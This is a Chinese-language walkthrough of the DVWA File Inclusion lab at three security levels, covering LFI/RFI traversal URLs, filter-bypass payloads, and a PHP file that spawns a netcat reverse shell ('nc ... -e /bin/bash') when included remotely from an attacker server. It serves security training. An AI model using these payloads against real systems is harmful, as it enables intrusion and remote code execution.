About
一些 web 应用程序允许用户指定直接用于文件流的输入,或允许用户将文件上载到服务器。稍后,web 应用程序在 web 应用程序上下文中访问用户提供的输入。通过这样做,web 应用程序允许恶意文件执行的可能性。
如果选择要包含的文件在目标计算机上是本地的,则称为“Local File Inclusion(LFI)。但文件也可能包含在其他计算机上,因此攻击是“Remote File Inclusion(RFI)”。
当 RFI 不可行时,在 LFI 中使用另一个漏洞(例如文件上传和目录遍历)通常可以达到相同的效果。
注意,“文件包含”一词与“任意文件访问”或“文件泄露”不同。
与文件包含有关的 PHP 函数:
include()
:只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行;include_once()
:和include()
功能相同,区别在于当重复调用同一文件时,程序只调用一次;require()
:只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行;require_once()
:和require()
功能相同,区别在于当重复调用同一文件时,程序只调用一次;
相关的 php.ini
配置参数:
allow_url_fopen = on
allow_url_include = on
Object
在仅使用文件包含漏洞的情况下,从../hackable/flags/fi.php
读取 5 个所有的著名名言。
001 Low
点击第一个文件,并查看源码:
可以发现源代码中没有任何防护,只要我们点击其中一个文件,就会把它当作 PHP 文件去解读。我们把 file1、file2、file3 依次点击,能显示各个文件的内容。我们尝试修改 URL 看看有没有 file4 :
还不错。我们直接修改 URL:
http://hyperv-win10.me/dvwa/vulnerabilities/fi/?page=../hackable/flags/fi.php
这个页面没有东西。我们再尝试更上一级的目录:
http://hyperv-win10.me/dvwa/vulnerabilities/fi/?page=../../hackable/flags/fi.php
运行结果如下:
如果采用 LFI,最简单是直接读取某个外部服务器的文件:
比较糟糕的情况是被黑客拿 Shell。我们在 Kali 中启动 Apache2:
systemctl start apache2
然后进入 root 用户,在/var/www/html/
下新建hack.php
文件:
<?php
$cmd = 'nc localhost 49152 -e /bin/bash';
system($cmd);
然后用 netcat 程序监听本地 49152 端口:
然后我们在浏览器访问:
http://hyperv-win10.me/dvwa/vulnerabilities/fi/?page=http://172.18.7.4/hack.php
然后连接会接上:
夺 Shell 成功。
002 Medium
开发人员已经阅读了 LFI / RFI 的一些问题,并决定过滤输入。然而,所使用的模式还不够:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
使用str_replace()
函数是极其不安全的,因为可以使用双写绕过替换规则。例如page=htthttp://p://
时,str_replace()
函数会将http://
删除,于是page=http://
,成功执行远程命令:
http://hyperv-win10.me/dvwa/vulnerabilities/fi/?page=....//....//hackable/flags/fi.php
对于 RFI:
http://hyperv-win10.me/dvwa/vulnerabilities/fi/?page=httphttp://://www.cuit.edu.cn
003 High
开发者已经受够了。他们决定只允许使用某些文件。但是,由于有多个文件具有相同的基名,因此它们使用通配符来包含所有文件。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
看似安全,我们依然可以利用file协议绕过防护策略(要用绝对路径):
http://hyperv-win10.me/dvwa/vulnerabilities/fi/?page=file://C:\\Software\\phpstudy_pro\\WWW\\DVWA\\hackable\\flags\\fi.php
对于 RFI,我们需要配合其他漏洞才能利用,比如文件上传漏洞。
References
- 4 - File Inclusion (LFI/RFI) (low/med/high) - (DVWA)
- [All levels] DVWA File inclusion
- DVWA——File Inclusion(文件包含) - 戚源
- 2. DVWA亲测文件包含漏洞 - bmjoker